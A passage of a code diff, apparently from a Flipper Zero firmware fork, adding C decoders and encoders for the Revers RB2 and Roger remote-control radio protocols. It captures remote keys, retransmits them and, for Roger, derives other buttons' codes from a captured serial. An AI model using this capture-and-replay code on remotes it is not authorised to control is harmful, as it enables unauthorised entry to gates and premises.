+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_revers_rb2_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderRevers_RB2* instance = malloc(sizeof(SubGhzProtocolDecoderRevers_RB2));
+    instance->base.protocol = &subghz_protocol_revers_rb2;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_revers_rb2_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRevers_RB2* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_revers_rb2_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRevers_RB2* instance = context;
+    instance->decoder.parser_step = Revers_RB2DecoderStepReset;
+    instance->header_count = 0;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+void subghz_protocol_decoder_revers_rb2_addbit(void* context, bool data) {
+    SubGhzProtocolDecoderRevers_RB2* instance = context;
+    instance->decoder.decode_data = (instance->decoder.decode_data << 1) | data;
+    instance->decoder.decode_count_bit++;
+
+    if(instance->decoder.decode_count_bit >= 65) {
+        instance->decoder.decode_data = 0;
+        instance->decoder.decode_count_bit = 0;
+        return;
+    }
+
+    if(instance->decoder.decode_count_bit <
+       subghz_protocol_revers_rb2_const.min_count_bit_for_found) {
+        return;
+    }
+
+    // Revers RB2 / RB2M Decoder
+    // 02.2025 - @xMasterX (MMX)
+
+    uint16_t preamble = (instance->decoder.decode_data >> 48) & 0xFF;
+    uint16_t stop_code = (instance->decoder.decode_data & 0x3FF);
+
+    if(preamble == 0xFF && stop_code == 0x200) {
+        //Found header and stop code
+        instance->generic.data = instance->decoder.decode_data;
+        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+        if(instance->base.callback)
+            instance->base.callback(&instance->base, instance->base.context);
+
+        instance->decoder.decode_data = 0;
+        instance->decoder.decode_count_bit = 0;
+        manchester_advance(
+            instance->manchester_saved_state,
+            ManchesterEventReset,
+            &instance->manchester_saved_state,
+            NULL);
+    }
+}
+
+void subghz_protocol_decoder_revers_rb2_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRevers_RB2* instance = context;
+    ManchesterEvent event = ManchesterEventReset;
+
+    switch(instance->decoder.parser_step) {
+    case Revers_RB2DecoderStepReset:
+        if((!level) &&
+           (DURATION_DIFF(duration, 600) < subghz_protocol_revers_rb2_const.te_delta)) {
+            instance->decoder.parser_step = Revers_RB2DecoderStepHeader;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventReset,
+                &instance->manchester_saved_state,
+                NULL);
+        }
+        break;
+    case Revers_RB2DecoderStepHeader:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_revers_rb2_const.te_short) <
+               subghz_protocol_revers_rb2_const.te_delta) {
+                if(instance->decoder.te_last == 1) {
+                    instance->header_count++;
+                }
+                instance->decoder.te_last = level;
+            } else {
+                instance->header_count = 0;
+                instance->decoder.te_last = 0;
+                instance->decoder.parser_step = Revers_RB2DecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_revers_rb2_const.te_short) <
+               subghz_protocol_revers_rb2_const.te_delta) {
+                if(instance->decoder.te_last == 0) {
+                    instance->header_count++;
+                }
+                instance->decoder.te_last = level;
+            } else {
+                instance->header_count = 0;
+                instance->decoder.te_last = 0;
+                instance->decoder.parser_step = Revers_RB2DecoderStepReset;
+            }
+        }
+
+        if(instance->header_count == 4) {
+            instance->header_count = 0;
+            instance->decoder.decode_data = 0xF;
+            instance->decoder.decode_count_bit = 4;
+            instance->decoder.parser_step = Revers_RB2DecoderStepDecoderData;
+        }
+        break;
+    case Revers_RB2DecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_revers_rb2_const.te_short) <
+               subghz_protocol_revers_rb2_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_revers_rb2_const.te_long) <
+                subghz_protocol_revers_rb2_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else {
+                instance->decoder.parser_step = Revers_RB2DecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_revers_rb2_const.te_short) <
+               subghz_protocol_revers_rb2_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_revers_rb2_const.te_long) <
+                subghz_protocol_revers_rb2_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = Revers_RB2DecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                subghz_protocol_decoder_revers_rb2_addbit(instance, data);
+            }
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_revers_rb2_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRevers_RB2* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_revers_rb2_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRevers_RB2* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_revers_rb2_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRevers_RB2* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_revers_rb2_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_revers_rb2_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRevers_RB2* instance = context;
+    subghz_protocol_revers_rb2_remote_controller(&instance->generic);
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:%lX%08lX\r\n"
+        "Sn:0x%08lX \r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/revers_rb2.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/revers_rb2.h
new file mode 100644
index 000000000..7ccd2a9a2
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/revers_rb2.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_REVERSRB2_NAME "Revers_RB2"
+
+typedef struct SubGhzProtocolDecoderRevers_RB2 SubGhzProtocolDecoderRevers_RB2;
+typedef struct SubGhzProtocolEncoderRevers_RB2 SubGhzProtocolEncoderRevers_RB2;
+
+extern const SubGhzProtocolDecoder subghz_protocol_revers_rb2_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_revers_rb2_encoder;
+extern const SubGhzProtocol subghz_protocol_revers_rb2;
+
+/**
+ * Allocate SubGhzProtocolEncoderRevers_RB2.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderRevers_RB2* pointer to a SubGhzProtocolEncoderRevers_RB2 instance
+ */
+void* subghz_protocol_encoder_revers_rb2_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderRevers_RB2.
+ * @param context Pointer to a SubGhzProtocolEncoderRevers_RB2 instance
+ */
+void subghz_protocol_encoder_revers_rb2_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderRevers_RB2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_revers_rb2_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderRevers_RB2 instance
+ */
+void subghz_protocol_encoder_revers_rb2_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderRevers_RB2 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_revers_rb2_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderRevers_RB2.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderRevers_RB2* pointer to a SubGhzProtocolDecoderRevers_RB2 instance
+ */
+void* subghz_protocol_decoder_revers_rb2_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderRevers_RB2.
+ * @param context Pointer to a SubGhzProtocolDecoderRevers_RB2 instance
+ */
+void subghz_protocol_decoder_revers_rb2_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderRevers_RB2.
+ * @param context Pointer to a SubGhzProtocolDecoderRevers_RB2 instance
+ */
+void subghz_protocol_decoder_revers_rb2_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderRevers_RB2 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_revers_rb2_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderRevers_RB2 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_revers_rb2_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderRevers_RB2.
+ * @param context Pointer to a SubGhzProtocolDecoderRevers_RB2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_revers_rb2_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderRevers_RB2.
+ * @param context Pointer to a SubGhzProtocolDecoderRevers_RB2 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_revers_rb2_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderRevers_RB2 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_revers_rb2_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/roger.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/roger.c
new file mode 100644
index 000000000..35d80788d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/roger.c
@@ -0,0 +1,459 @@
+#include "roger.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolRoger"
+
+static const SubGhzBlockConst subghz_protocol_roger_const = {
+    .te_short = 500,
+    .te_long = 1000,
+    .te_delta = 270,
+    .min_count_bit_for_found = 28,
+};
+
+struct SubGhzProtocolDecoderRoger {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderRoger {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    RogerDecoderStepReset = 0,
+    RogerDecoderStepSaveDuration,
+    RogerDecoderStepCheckDuration,
+} RogerDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_roger_decoder = {
+    .alloc = subghz_protocol_decoder_roger_alloc,
+    .free = subghz_protocol_decoder_roger_free,
+
+    .feed = subghz_protocol_decoder_roger_feed,
+    .reset = subghz_protocol_decoder_roger_reset,
+
+    .get_hash_data = subghz_protocol_decoder_roger_get_hash_data,
+    .serialize = subghz_protocol_decoder_roger_serialize,
+    .deserialize = subghz_protocol_decoder_roger_deserialize,
+    .get_string = subghz_protocol_decoder_roger_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_roger_encoder = {
+    .alloc = subghz_protocol_encoder_roger_alloc,
+    .free = subghz_protocol_encoder_roger_free,
+
+    .deserialize = subghz_protocol_encoder_roger_deserialize,
+    .stop = subghz_protocol_encoder_roger_stop,
+    .yield = subghz_protocol_encoder_roger_yield,
+};
+
+const SubGhzProtocol subghz_protocol_roger = {
+    .name = SUBGHZ_PROTOCOL_ROGER_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_roger_decoder,
+    .encoder = &subghz_protocol_roger_encoder,
+};
+
+void* subghz_protocol_encoder_roger_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderRoger* instance = malloc(sizeof(SubGhzProtocolEncoderRoger));
+
+    instance->base.protocol = &subghz_protocol_roger;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_roger_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderRoger* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_roger_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x4;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderRoger instance
+ */
+static void subghz_protocol_encoder_roger_get_upload(SubGhzProtocolEncoderRoger* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    uint8_t btn = instance->generic.btn;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    // Get custom button code
+    // This will override the btn variable if a custom button is set
+    btn = subghz_protocol_roger_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+
+    // If End is not == button - transmit as is, no custom button allowed
+    // For "End" values 23 and 20 - transmit correct ending used for their buttons
+    if((instance->generic.data & 0xFF) == instance->generic.btn) {
+        instance->generic.data = (uint64_t)instance->generic.serial << 12 | ((uint64_t)btn << 8) |
+                                 btn;
+    } else if(((instance->generic.data & 0xFF) == 0x23) && btn == 0x1) {
+        instance->generic.data = (uint64_t)instance->generic.serial << 12 | ((uint64_t)btn << 8) |
+                                 0x20;
+    } else if(((instance->generic.data & 0xFF) == 0x20) && btn == 0x2) {
+        instance->generic.data = (uint64_t)instance->generic.serial << 12 | ((uint64_t)btn << 8) |
+                                 0x23;
+    }
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_roger_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_roger_const.te_short * 19);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_roger_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_roger_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_roger_const.te_short * 19);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_roger_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_roger_check_remote_controller(SubGhzBlockGeneric* instance) {
+    // Roger Decoder
+    // 2025.07 - @xMasterX (MMX)
+
+    // Key samples
+    // 0010001111111001 0001 00100000 // S/N: 0x23F9 Btn: 0x1 End: 0x20
+    // 0010001111111001 0010 00100011 // S/N: 0x23F9 Btn: 0x2 End: 0x23
+    // 0101011001010110 0001 00000001 // S/N: 0x5656 Btn: 0x1 End: 0x01
+    // 0101011001010110 0010 00000010 // S/N: 0x5656 Btn: 0x2 End: 0x02
+    // 0000110111111110 0001 00000001 // S/N: 0x0DFE Btn: 0x1 End: 0x01
+    // 0000110111111110 0100 00000100 // S/N: 0x0DFE Btn: 0x4 End: 0x04
+    // 0000110111111110 0010 00000010 // S/N: 0x0DFE Btn: 0x2 End: 0x02
+    // 0000110111111110 1000 00001000 // S/N: 0x0DFE Btn: 0x8 End: 0x08
+
+    instance->serial = instance->data >> 12;
+    instance->btn = (instance->data >> 8) & 0xF;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(3);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_roger_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderRoger* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_roger_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_roger_check_remote_controller(&instance->generic);
+        subghz_protocol_encoder_roger_get_upload(instance);
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_roger_stop(void* context) {
+    SubGhzProtocolEncoderRoger* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_roger_yield(void* context) {
+    SubGhzProtocolEncoderRoger* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_roger_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderRoger* instance = malloc(sizeof(SubGhzProtocolDecoderRoger));
+    instance->base.protocol = &subghz_protocol_roger;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_roger_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRoger* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_roger_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRoger* instance = context;
+    instance->decoder.parser_step = RogerDecoderStepReset;
+}
+
+void subghz_protocol_decoder_roger_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRoger* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case RogerDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_roger_const.te_short * 19) <
+                        subghz_protocol_roger_const.te_delta * 5)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = RogerDecoderStepSaveDuration;
+        }
+        break;
+    case RogerDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = RogerDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = RogerDecoderStepReset;
+        }
+        break;
+    case RogerDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 1 is long and short timing = 1000us HIGH (te_last) and 500us LOW
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_roger_const.te_long) <
+                subghz_protocol_roger_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_roger_const.te_short) <
+                subghz_protocol_roger_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = RogerDecoderStepSaveDuration;
+                // Bit 0 is short and long timing = 500us HIGH (te_last) and 1000us LOW
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_roger_const.te_short) <
+                 subghz_protocol_roger_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_roger_const.te_long) <
+                 subghz_protocol_roger_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = RogerDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_roger_const.te_short * 19) <
+                subghz_protocol_roger_const.te_delta * 5) {
+                //Found next GAP and add bit 1 or 0
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_roger_const.te_long) <
+                    subghz_protocol_roger_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_roger_const.te_short) <
+                    subghz_protocol_roger_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                // If got full 28 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_roger_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = RogerDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = RogerDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = RogerDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_roger_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRoger* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_roger_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRoger* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_roger_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRoger* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_roger_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_roger_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderRoger* instance = context;
+
+    subghz_protocol_roger_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%07lX\r\n"
+        "Serial: 0x%04lX\r\n"
+        "End: 0x%02lX\r\n"
+        "Btn: %01X",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFFF),
+        instance->generic.serial,
+        (uint32_t)(instance->generic.data & 0xFF),
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/roger.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/roger.h
new file mode 100644
index 000000000..c279164f9
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/roger.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_ROGER_NAME "Roger"
+
+typedef struct SubGhzProtocolDecoderRoger SubGhzProtocolDecoderRoger;
+typedef struct SubGhzProtocolEncoderRoger SubGhzProtocolEncoderRoger;
+
+extern const SubGhzProtocolDecoder subghz_protocol_roger_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_roger_encoder;
+extern const SubGhzProtocol subghz_protocol_roger;
+
+/**
+ * Allocate SubGhzProtocolEncoderRoger.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderRoger* pointer to a SubGhzProtocolEncoderRoger instance
+ */
+void* subghz_protocol_encoder_roger_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderRoger.
+ * @param context Pointer to a SubGhzProtocolEncoderRoger instance
+ */
+void subghz_protocol_encoder_roger_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderRoger instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_roger_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderRoger instance
+ */
+void subghz_protocol_encoder_roger_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderRoger instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_roger_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderRoger.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderRoger* pointer to a SubGhzProtocolDecoderRoger instance
+ */
+void* subghz_protocol_decoder_roger_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderRoger.
+ * @param context Pointer to a SubGhzProtocolDecoderRoger instance
+ */
+void subghz_protocol_decoder_roger_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderRoger.
+ * @param context Pointer to a SubGhzProtocolDecoderRoger instance
+ */
+void subghz_protocol_decoder_roger_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderRoger instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_roger_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderRoger instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_roger_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderRoger.
+ * @param context Pointer to a SubGhzProtocolDecoderRoger instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
